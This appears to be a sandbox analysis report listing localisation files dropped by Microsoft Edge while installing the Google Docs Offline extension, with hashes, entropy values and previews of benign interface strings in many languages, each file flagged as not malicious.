SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

